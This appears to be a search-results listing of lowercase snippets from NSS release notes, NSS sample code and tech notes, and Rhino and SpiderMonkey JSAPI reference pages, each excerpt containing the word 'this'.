nss 3.16.6 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_6_rtm/src/ new in nss 3.16.6 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix a regression.
...
this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries.
NSS 3.17.4 release notes
nss 3.17.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_4_rtm/src/ new in nss 3.17.4 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix multiple bugs.
... bugs fixed in nss 3.17.4
this bugzilla query returns all the bugs fixed in nss 3.17.4: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.4 compatibility nss 3.17.4 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.18 release notes
in pk11pub.h __pk11_setcertificatenickname -
this is an internal symbol for nss use only, as with all exported nss symbols that have a leading underscore '_'.
...an application that uses sec_pkcs12decoderrenamecertnicknames must implement a callback function that implements
this function interface.
...8:1e:57:ef:bb:93:22:72:d4 cn = entrust root certification authority - ec1 sha1 fingerprint: 20:d8:06:40:df:9b:25:f5:12:25:3a:11:ea:f7:59:8a:eb:14:b5:47 cn = cfca ev root sha1 fingerprint: e2:b8:29:4b:55:84:ab:6b:58:c2:90:46:6c:ac:3f:b8:39:8f:84:83 the version number of the updated root ca list has been set to 2.3 bugs fixed in nss 3.18
this bugzilla query returns all the bugs fixed in nss 3.18: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.18 compatibility nss 3.18 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.19.2.1 release notes
this may allow attackers to bypass security checks and obtain control of arbitrary memory.
... new in nss 3.19.2.1 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix security-relevant bugs.
NSS 3.19.3 release notes
nss 3.19.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_3_rtm/src/ new in nss 3.19.3 no new functionality is introduced in
this release.
...
this is a patch release to update the list of root ca certificates.
... cn = tÜrktrust elektronik sertifika hizmet sağlayıcısı h6 sha1 fingerprint: 8a:5c:8c:ee:a5:03:e6:05:56:ba:d8:1b:d4:f6:c9:b0:ed:e5:2f:e0 cn = certinomis - root ca sha1 fingerprint: 9d:70:bb:01:a5:a4:a0:18:11:2e:f7:1c:01:b9:32:c5:34:e7:88:a8 the version number of the updated root ca list has been set to 2.5 bugs fixed in nss 3.19.3
this bugzilla query returns all the bugs fixed in nss 3.19.3: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.19.3 compatibility nss 3.19.3 shared libraries are backward compatible with all older nss 3.19 shared libraries.
NSS 3.19.4 release notes
this may allow attackers to bypass security checks and obtain control of arbitrary memory.
... new in nss 3.19.4 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix security-relevant bugs.
NSS 3.20.1 release notes
this may allow attackers to bypass security checks and obtain control of arbitrary memory.
... new in nss 3.20.1 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix security-relevant bugs.
NSS 3.20 release notes
to enable
this support, the new api ssl_enableweakdheprimegroup must be used.
... each time
this api is called for the first time in a process, a fresh set of weak dhe parameters will be randomly created, which may take a long amount of time.
... bugs fixed in nss 3.20
this bugzilla query returns all the bugs fixed in nss 3.20: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.20 compatibility nss 3.20 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.22 release notes
new functions in pk11pub.h pk11_signwithmechanism -
this function is an extended version pk11_sign().
... pk11_verifywithmechanism -
this function is an extended version of pk11_verify().
... bugs fixed in nss 3.22
this bugzilla query returns all the bugs fixed in nss 3.22: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.22 compatibility nss 3.22 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.28.3 release notes
nss 3.28.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_28_3_rtm/src/ new in nss 3.28.3 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix binary compatibility issues.
...with
this nss release seckeyecpublickey.encoding is deprecated.
NSS 3.29.1 release notes
nss 3.29.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_29_1_rtm/src/ new in nss 3.29.1 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix binary compatibility issues.
...with
this nss release seckeyecpublickey.encoding is deprecated.
NSS 3.31.1 release notes
this is a draft document.
...
this notice will be removed when completed.
... nss 3.31.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_1_rtm/src/ new in nss 3.31.1 no new functionality is introduced in
this release.
NSS 3.36.1 release notes
nss 3.36.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_36_1_rtm/src/ new in nss 3.xx new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix regression bugs.
...
this bugzilla query returns all the bugs fixed in nss 3.36.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36.1 compatibility nss 3.36.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.36.2 release notes
nss 3.36.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_36_2_rtm/src/ new in nss 3.36.2 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix regression bugs.
...
this bugzilla query returns all the bugs fixed in nss 3.36.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36.2 compatibility nss 3.36.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.37.1 release notes
nss 3.37.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_37_1_rtm/src/ new in nss 3.37.1 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix regression bugs.
...
this bugzilla query returns all the bugs fixed in nss 3.37.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.37.1 compatibility nss 3.37.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.41.1 release notes
new in nss 3.41.1 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix bugs.
...(cve-2018-18508)
this bugzilla query returns all bugs fixed in 3.41.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.41.1 compatibility nss 3.41.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.44.4 release notes
this is a security patch release.
... thank you to cesar pereida garcia and the network and information security group (nisec) at tampere university for reporting
this issue.
... new in nss 3.44.4 no new functionality is introduced in
this release.
NSS 3.52.1 release notes
this is a security patch release.
... thank you to cesar pereida garcia and the network and information security group (nisec) at tampere university for reporting
this issue.
... new in nss 3.52.1 no new functionality is introduced in
this release.
NSS 3.52 release notes
note:
this change modifies the ck_gcm_params struct to include the ulivbits field which, prior to pkcs #11 v3.0, was ambiguously defined and not included in the nss definition.
... if an application is recompiled with nss 3.52+,
this field must be initialized to a value corresponding to ulivlen.
... bug 1630925 - guard all instances of nsscmssigneddata.signerinfo to avoid a cms crash bug 1571677 - name constraints validation: cn treated as dns name even when syntactically invalid as dns name
this bugzilla query returns all the bugs fixed in nss 3.52: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.52 compatibility nss 3.52 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.53.1 release notes
this is a security patch release.
... thank you to sohaib ul hassan, billy bob brumley, and the network and information security group (nisec) at tampere university for reporting
this issue and providing a patch.
... new in nss 3.53.1 no new functionality is introduced in
this release.
NSS 3.55 release notes
with
this function, a given slot can be queried with a der-encoded certificate, providing performance and usability improvements over other mechanisms.
...if
this affects you, please help us narrow down the cause in bug 1653975.
...
this bugzilla query returns all the bugs fixed in nss 3.55: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.55 compatibility nss 3.55 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS Sample Code Sample_1_Hashing
this is an example program that demonstrates how to compute the hash of a file and save it to another file.
...
this program illustrates the use of nss message apis.
... */ printashex(outfile, digest, len); } while (0); /* cleanup */ if (hashcontext != null) hash_destroy(hashcontext); return secsuccess; } /* *
this sample computes the hash of a file and saves it * to another file.
NSS Sample Code Sample_2_Initialization of NSS
nss sample code 2: initializing nss
this example program demonstrates how to initialize the nss database.
...
this program illustrates password handling.
...hangepw(slot, oldpw, newpw) != secsuccess) { pr_fprintf(pr_stderr, "failed to change password.\n"); return secfailure; } port_memset(oldpw, 0, pl_strlen(oldpw)); port_free(oldpw); pr_fprintf(pr_stdout, "password changed successfully.\n"); } port_memset(newpw, 0, pl_strlen(newpw)); port_free(newpw); return secsuccess; } /* *
this example illustrates initialization of the nss database.
NSS Sample Code sample2
this example shows the use of a raw key.
... *
this code uses the simplest of the init functions, which does not * require a nss database to exist */ rv = nss_nodb_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto out; } /* choose mechanism: ckm_des_cbc_pad, ckm_des3_ecb, ckm_des3_cbc.....
...ecparam == null) { fprintf(stderr, "failure to set up pkcs11 param (err %d)\n", pr_geterror()); goto out; } /* sample data we'll encrypt and decrypt */ strcpy(data, "encrypt me!"); fprintf(stderr, "clear data: %s\n", data); /* ========================= start section ============================= */ /* if using the the same key and iv over and over, stuff before
this */ /* section and after
this section needs to be done only once */ /* encrypt data into buf1.
NSS sources building testing
nss/test
this directory contains the nss test suite, which is routinely used to ensure that changes to nss don't introduce regressions.
... running the nss test suite
this is an important part of development work, in order to ensure your changes don't introduce regressions.
...on machines that are configured with a hostname that has been registered in your network's dns,
this should work automatically.
nss tech note6
on 32-bit windows and 32-bit os/2,
this shared library is called freebl3.dll, and the corresponding .chk file is called freebl3.chk .
... on 32-bit solaris x86, 64-bit solaris x64 (amd64), 32-bit linux x86, 64-bit linux x86-64, 32-bit aix and 64-bit aix,
this shared library is called libfreebl3.so, and the corresponding .chk file is called libfreebl3.chk .
...the only way to meet
this requirement is for your application never to modify the nss binaries.
NSS release notes template
nss 3.xx source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_xx_rtm/src/ (make a link) new in nss 3.xx new functionality either: no new functionality is introduced in
this release.
...
this is a patch release to fix ...
... bugs fixed in nss 3.xx
this bugzilla query returns all the bugs fixed in nss 3.xx: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.xx (make a link) acknowledgements the nss development team would like to thank ...
FC_GetTokenInfo
ckf_rng (0x00000001):
this device has a random number generator ckf_write_protected (0x00000002):
this device is read-only ckf_login_required (0x00000004):
this device requires the user to log in to use some of its services ckf_user_pin_initialized (0x00000008): the user's password has been initialized ckf_dual_crypto_operations (0x00000200): a single session with the token can perform dual cryptographic operations ck...
...if login is required (which is true for the fips mode of operation),
this flag means the user's password has been initialized.
... ulsessioncount: number of sessions that
this application currently has open with the token ulrwsessioncount: number of read/write sessions that
this application currently has open with the token hardwareversion: hardware version number, for example, 8.3 (major=0x08, minor=0x03), which are the version numbers of the certificate and key databases, respectively.
NSS Key Functions
this chapter describes two functions used to manipulate private keys and key databases such as the key3.db database provided with nss.
...
this was converted from "chapter 6: key functions".
...syntax include <key.h> include <keyt.h> void seckey_destroyprivatekey(seckeyprivatekey *key); parameter
this function has the following parameter: key a pointer to the private key structure to destroy.
NSS functions
this page lists all exported functions in nss 3.11.7 it was ported from here.
...
this is a composite page.
...in addition to the functions listed here, applications that support ssl use some of the certificate functions, crypto functions, and utility functions described below on
this page.
TLS Cipher Suite Discovery
the size of
this table varies from release to release, and so libssl makes the number of entries in that table publicly available too.
...
this function is declared in "ssl.h" as follows: ssl_import secstatus ssl_getciphersuiteinfo( pruint16 ciphersuite, sslciphersuiteinfo *info, pruintn len); the application provides the cipher suite number for which it wants information, the address of a block of memory allocated to receive that information, and the size in bytes of that block of memory.
...the sslciphersuiteinfo structure contains
this information, declared in "sslt.h": typedef struct sslciphersuiteinfostr { pruint16 length; pruint16 ciphersuite; /* cipher suite name */ const char * ciphersuitename; /* server authentication info */ const char * authalgorithmname; sslauthtype authalgorithm; /* key exchange algorithm info */ const char * keatypename; sslkeatype keatype; /* symmetric encryption info */ const char * symciphername; sslcipheralgorithm symcipher; pruint16 symkeybits; ...
Rhino optimization
also, you must use
this optimization level if your code uses continuation objects.
...the bytecode compiler runs fastest in
this mode, but the generated byte code is less efficient.
...local common sub-expressions are collapsed (currently
this only happens for property lookup, but in the future more expressions may be optimized).
Rhino shell
starting with rhino 1.7
this options is no longer available.
...
this is available only if jvm implements java2 security model.
...the new function synchronizes on the
this object of its invocation.
Future directions
this article documents future directions in functionality, design, and coding practices for spidermonkey.
...that means the code as it is today won't match
this document, and that's ok.
...
this is good, because it helps the spec work.
INT_FITS_IN_JSVAL
obsolete since javascript 1.8.5
this feature is obsolete.
...in
this case, the application can still convert i to a jsval using js_newnumbervalue.
... starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so
this check isn't needed any longer for 32-bit integers.
JS::AutoSaveExceptionState
this article covers features introduced in spidermonkey 31 save and later restore the current exception state of a given jscontext.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this is useful for implementing behavior in c++ that's like try/catch or try/finally in js.
JS::AutoValueArray
this article covers features introduced in spidermonkey 31 root an internal fixed-size array of js::values.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this is typically used for local variables being passed to function which requires js::handlevaluearray or a pointer to js::value array.
JS::Compile
this article covers features introduced in spidermonkey 17 compile a script for execution.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this information is included in error messages if an error occurs during compilation..
JS::CurrentGlobalOrNull
this article covers features introduced in spidermonkey 31 return the global object for the active function on the context.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... if there is no javascript running on the context,
this returns the context's global, i.e., js_getglobalobject(cx).
JS::Handle
this article covers features introduced in spidermonkey 17 reference to a t that has been rooted elsewhere.
...
this is most useful as a parameter type, which guarantees that the t value is properly rooted.
...
this has two benefits.
JS::Rooted
this article covers features introduced in spidermonkey 17 local variable of type t whose value is always rooted.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this is typically used for local variables, or for non-rooted values being passed to a function that requires a handle, e.g.
JS::ToPrimitive
this article covers features introduced in spidermonkey 45 converts a javascript object to a primitive value, using the semantics of toprimitive.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... see also mxr id search for js::toprimitive js::getfirstargumentastypehint js_defaultvalue -- old name of
this function bug 1054756 - added ...
JS::Value
the now-deprecated jsval methods allowed jsval_to_object(val) when jsval_is_null(val), but
this was a source of constant bugs.
...these confusing semantics led to
this method being removed from the jsapi in more recent releases, but older code might still use it.
... uses of
this method should be replaced with v.isobjectornull().
JSAutoCompartment
this article covers features introduced in spidermonkey 24 raii helper to enter a different compartment on the given context and automatically leave it once the jsautocompartment instance gets out of scope.
...
this implicitly identifies the compartment to be entered.
...only objects in the current compartment can be accessed, so to access an object in a different compartment,
this containing compartment has to be entered first.
JSClass.call
note that when a custom object is called, a
this argument is calculated for it just as if it were a function.
... that is, the obj argument received by the jsnative is the
this argument, not the custom object that was called!
... // suppose
this object has jsclass.call and jsclass.construct hooks.
JSFUN_BOUND_METHOD
obsolete since javascript 1.8.5
this feature is obsolete.
... syntax jsfun_bound_method description
this macro exists only for backward compatibility with existing applications.
...future versions of the javascript engine may not support or recognize
this macro.
JSFunctionSpec
call jsnativewrapper the built-in js call wrapped by
this function.
... if the function does not wrap a native js call, set
this value to null.
...
this no longer guarantees anything about the vp array.
JSGetObjectOps
obsolete since jsapi 17
this feature is obsolete.
...if
this seems backwards, that's because it is!
...further extension to preserve api compatibility: if
this function returns a pointer to jsxmlobjectops.base, not to jsobjectops, then the engine calls extended hooks needed for e4x.
JSObjectOps.dropProperty
obsolete since javascript 1.8.5
this feature is obsolete.
...
this documentation should be considered spidermonkey internals documentation, not api documentation.
...(that is, for each object, all property accesses happened in some order, and what each thread observed was consistent with that order: no stale reads, for example.) however, spidermonkey does not guarantee
this high degree of serialization.
JSObjectOps.getAttributes
obsolete since javascript 1.8.5
this feature is obsolete.
...
this documentation should be considered spidermonkey internals documentation, not api documentation.
...
this may be null.
JSObjectOps.getProperty
obsolete since javascript 1.8.5
this feature is obsolete.
...
this documentation should be considered spidermonkey internals documentation, not api documentation.
...
this reflects the quirky behavior of delete as specified in ecma 262-3 §11.4.1 and ecma 262-3 §8.6.2.5.
JSReserveSlotsOp
obsolete since javascript 1.8.5
this feature is obsolete.
... description warning: jsapi applications should not use
this hook.
...implementations of
this hook should return the number of slots to reserve, not including any reserved by using jsclass_has_reserved_slots(n) in jsclass.flags.
JSVAL_IS_OBJECT
obsolete since jsapi 32
this feature is obsolete.
...
this indicates that it is safe to call jsval_to_object(v) to convert v to type jsobject *.
...
this function is obsolete and has been removed.
JSVAL_TO_GCTHING
obsolete since jsapi 32
this feature is obsolete.
...jsval_is_gcthing may be used to check
this.
...
this macro is exposed in jsapi.h because other jsapi macros make use of it.
JSVAL_TO_STRING
obsolete since jsapi 32
this feature is obsolete.
...
this function is not type-safe: if v is not a string, the behavior is undefined.
...(the difference is that the latter will convert an object, array, number, or other value to a string in a type-safe way, creating a new string if needed.) to convert the return type of
this macro (jsstring *) to a char pointer, use js_getstringbytes.
JS_AddArgumentFormatter
obsolete since jsapi 18
this feature is obsolete.
...
this function is described in more detail below.
... format const char * the tail of the format string whose prefix is associated with
this formatting function.
JS_AddFinalizeCallback
this article covers features introduced in spidermonkey 17 add/remove callback function for finalization.
...weak references to unmarked things have been removed and things that are not swept incrementally have been finalized at
this point.
... the collector may yield to the mutator after
this point.
JS_AliasProperty
obsolete since jsapi 8
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...notes
this feature has been removed.
JS_CStringsAreUTF8
obsolete since jsapi 19
this feature is obsolete.
...there are two ways to enable
this: at compile time, by building spidermonkey with js_c_strings_are_utf8 defined; or at run time, by calling js_setcstringsareutf8 before the first call to js_newruntime.
... enabling
this option also causes js_getstringbytes and js_encodecharacters to produce utf-8 strings instead of latin-1.
JS_CallFunction
in a js_threadsafe build, the caller must be in a request on
this jscontext.
... obj js::handleobject the "current" object on which the function operates; the object specified here is "
this" when the function executes.
...in terms of function execution, the object is treated as
this.
JS_ClearNonGlobalObject
obsolete since jsapi 34
this feature is obsolete.
...
this article covers features introduced in spidermonkey 24 remove all properties associated with an object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_CompileFunction
obsolete since jsapi 36
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this information is used in error messages if an error occurs during compilation.
JS_CompileUTF8FileHandle
obsolete since jsapi 19
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this filename is used for error messages.
JS_ConvertValue
obsolete since jsapi 38
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...typically users of
this function set vp to point to v, so that if conversion is successful, v now contains the converted value.
JS_DeepFreezeObject
this article covers features introduced in spidermonkey 1.8.5 freeze obj, and all objects it refers to, recursively.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this will not recurse through non-extensible objects, on the assumption that those are already deep-frozen.
JS_DefaultValue
obsolete since jsapi 44
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.6 converts a javascript object to a primitive value, using the semantics of that object's internal [[defaultvalue]] hook.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_DefineElement
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...if you pass null values for these entries, js_defineelement assigns the default getproperty and setproperty methods to
this element.
...while you can assign a setproperty method to a property and set flags to jsprop_readonly, the setter method will not be called on
this property.
JS_DefineObject
in a js_threadsafe build, the caller must be in a request on
this jscontext.
... obj js::handleobject object to which
this new object belongs as a property.
...
this function combines two operations: creating an object and storing it in a property of another object.
JS_DefinePropertyWithTinyId
obsolete since jsapi 30
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...per-property getters and setters do not suffer from
this confusion: in the above example, obj.color would cause the javascript engine to call the getter for the color property, but obj[10] wouldn't.
JS_DropExceptionState
in a js_threadsafe build, the caller must be in a request on
this jscontext.
... description
this function destroys the specified jsexceptionstate object, unrooting as necessary any attached exception object and freeing the memory resources associated with the jsexceptionstate object.
...
this object should previously have been created using js_saveexceptionstate.
JS_EnterCrossCompartmentCall
obsolete since jsapi 18
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.1 js_entercrosscompartmentcall has been removed in bug 786068.
...
this implicitly identifies the compartment to be entered.
JS_ExecuteScript
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...in the simplest cases,
this should just be the embedding's global object.
... the
this value is obj.
JS_ExecuteScriptPart
obsolete since javascript 1.9.3
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this parameter is documented in detail at js_executescript.
JS_FlattenString
this article covers features introduced in spidermonkey 1.8.5 flattens a string.
...
this makes getting the characters of the string infallible.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_FlushCaches
obsolete since jsapi 15
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.5 flushes the code cache for the current thread.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_FreezeObject
this article covers features introduced in spidermonkey 1.8.5 freeze an object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this means that other code cannot delete, add or change any properties on the object.
JS_GET_CLASS
obsolete since jsapi 13
this feature is obsolete.
...
this macro was removed in spidermonkey 1.8.8 when the signature of js_getclass() was changed to take only an object pointer.
... the js_get_class(cx, obj) macro abstracted away
this detail.
JS_GetArrayPrototype
this article covers features introduced in spidermonkey 24 retrieves the original, canonical array.prototype for an object's global object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... note:
this expression might have different values over time if the global array property is modified, but
this method returns only the original value.
JS_GetCompartmentPrivate
this article covers features introduced in spidermonkey 1.8.5 please provide a description for
this function.
...js_getcompartmentprivate gets
this field and js_setcompartmentprivate sets it.
... memory management for
this private data is the application's responsibility.
JS_GetExternalStringClosure
obsolete since jsapi 13
this feature is obsolete.
...
this article covers features introduced in spidermonkey 6 returns the string closure stored in a jsstring created by calling js_newexternalstringwithclosure.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_GetFunctionCallback
obsolete since jsapi 37
this feature is obsolete.
... note:
this method is only available if moz_trace_jscalls was defined at compile time using --enable-trace-jscalls.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_GetFunctionPrototype
this article covers features introduced in spidermonkey 17 retrieves the original, canonical function.prototype for an object's global object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... note:
this expression might have different values over time if the global function property is modified, but
this method returns only the original value.
JS_GetGlobalForCompartmentOrNull
this article covers features introduced in spidermonkey 17 return the global object for the specified compartment.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this may return null if c never had a global (e.g., the atoms compartment), or if c's global has been collected.
JS_GetGlobalObject
obsolete since jsapi 24
this feature is obsolete.
... description
this function is obsolete: use js_getglobalforobject or js_getglobalforscopechain instead.
...
this returns null if cx has no global object.
JS_GetInstancePrivate
obsolete since jsapi 32
this must be one of the following: an argv pointer created by the javascript engine and passed to a jsnative callback; js_argv(cx, vp) where vp is a pointer created by the engine and passed to a jsfastnative callback; or null.
...if you pass a non-null argument vector, argv, to js_getinstanceprivate, and obj is not an instance of clasp,
this function reports a class mismatch error before returning null.
... in
this case, js_getinstanceprivate tests whether or not there is a function name associated with the argument vector, and if there is, reports the name in an error message using the js_reporterror function.
JS_GetObjectPrototype
this article covers features introduced in spidermonkey 17 retrieves the original, canonical object.prototype for an object's global object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... note:
this expression might have different values over time if the global object property is modified, but
this method returns only the original value.
JS_GetParent
obsolete since jsapi 39
this feature is obsolete.
...
this is often the case for the global object, which is typically the first object created in a new context.
... an object's parent serves two purposes in spidermonkey: for some functions, it is used to implement lexical scoping (but
this is an implementation detail).
JS_GetPropertyAttrsGetterAndSetter
obsolete since jsapi 26
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...when
this attribute is present, the value stored in getterp (or setterp) does not really point to a c/c++ function; it is a jsobject *, pointing to a javascript function, cast to type jspropertyop.
JS_GetPropertyDefault
obsolete since jsapi 26
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.5 finds a specified property and retrieves its value or provided default value.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_GetScopeChain
obsolete since javascript 1.8.7
this feature is obsolete.
...when you only used
this function to retrieve the scope chain's global, then you can use the function js_getglobalforscopechain.
...
this scope chain may or may not contain cx's current global object.
JS_GetStringCharsAndLength
obsolete since jsapi 33
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.5 get the characters and the length of a string.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_GetStringEncodingLength
this article covers features introduced in spidermonkey 1.8.5 get the length of a javascript string in bytes.
...in a js_threadsafe build, the caller must be in a request on
this jscontext..
...you can use
this value to create a buffer to encode the string into using the js_encodestringtobuffer function.
JS_HasProperty
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...on success, js_hasproperty stores true in
this variable if obj has a property with the given name, and false if not.
...if the property exists,
this function sets *foundp to true and returns true.
JS_InitStandardClasses
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this object must be of a jsclass that has the jsclass_global_flags bits set.
...
this means that scripts executed in cx will see the properties of obj as global variables.
JS_InstanceOf
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...to use it
this way, pass null for argv.
...to use it
this way, pass the arguments provided by the engine for args with js::callargsfromvp(argc, vp).
JS_LeaveLocalRootScope
obsolete since javascript 1.8.5
this feature is obsolete.
...
this must be the same context passed to js_enterlocalrootscope().
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_LookupElement
obsolete since jsapi 37
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...the ecmascript standard also specifies
this behavior: see ecma 262-3 §11.2.1, step 6.
JS_MakeStringImmutable
obsolete since javascript 1.8.5
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this makes the substring operation, and regular expression matches, faster.
JS_New
this article covers features introduced in spidermonkey 1.8 create an object as though by using the new keyword and a javascript function.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...if argc is 0,
this may be null.
JS_NewNumberValue
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...in
this case, the value is subject to garbage collection until you protect against it using a local root, an object property, or the js_addroot function.
...
this can be avoided by using the address of a rooted variable as rval.
JS_NewScriptObject
obsolete since jsapi 8
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... (the name "js_newscriptobject" suggests that the script object is freshly allocated;
this was the case in older versions of the api, but now the script object is allocated along with the jsscript itself.) (some temporary scripts used internally by spidermonkey do not have script objects allocated for them; such scripts are not accessible via jsapi.) see also the jsapi user guide contains example code using compiled scripts.
JS_NewUCString
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...on success, the javascript engine adopts responsibility for memory management of
this region.
...
this allows the javascript engine to avoid needless data copying.
JS_ObjectIsDate
this article covers features introduced in spidermonkey 1.8.5 determines if a specified object is a date object.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this function returns true if the object is a date.
JS_RemoveExternalStringFinalizer
obsolete since jsapi 13
this feature is obsolete.
... as with js_addexternalstringfinalizer, there is a threading restriction if you compile the engine js_threadsafe:
this function may be called for a given finalizer pointer on only one thread; different threads may call to remove distinct finalizers safely.
... you must ensure that all strings with finalizer's type have been collected before calling
this function.
JS_ReportErrorNumber
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...the javascript engine passes
this pointer to errorcallback.
...the javascript engine passes
this number to errorcallback.
JS_ReportPendingException
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this function can be used to catch exceptions thrown from scripts and send them to the error reporter to be logged or ignored.
... note that certain jsapi functions automatically do
this for uncaught exceptions; see "automatic handling of uncaught exceptions" in the jsapi user guide.
JS_SameValue
this article covers features introduced in spidermonkey 1.8.1 determines if two jsvals are the same, as determined by the samevalue algorithm in ecmascript 262, 5th edition.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this method is infallible.
JS_SetAllNonReservedSlotsToUndefined
this article covers features introduced in spidermonkey 24 assign undefined to all of the object's non-reserved slots.
... note:
this is done for all slots, regardless of the associated property descriptor.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
JS_SetContextCallback
this is the context which was just created, or is about to be destroyed.
...in
this case the callback is not called again.
...
this function returns the previous context callback, if any, else null.
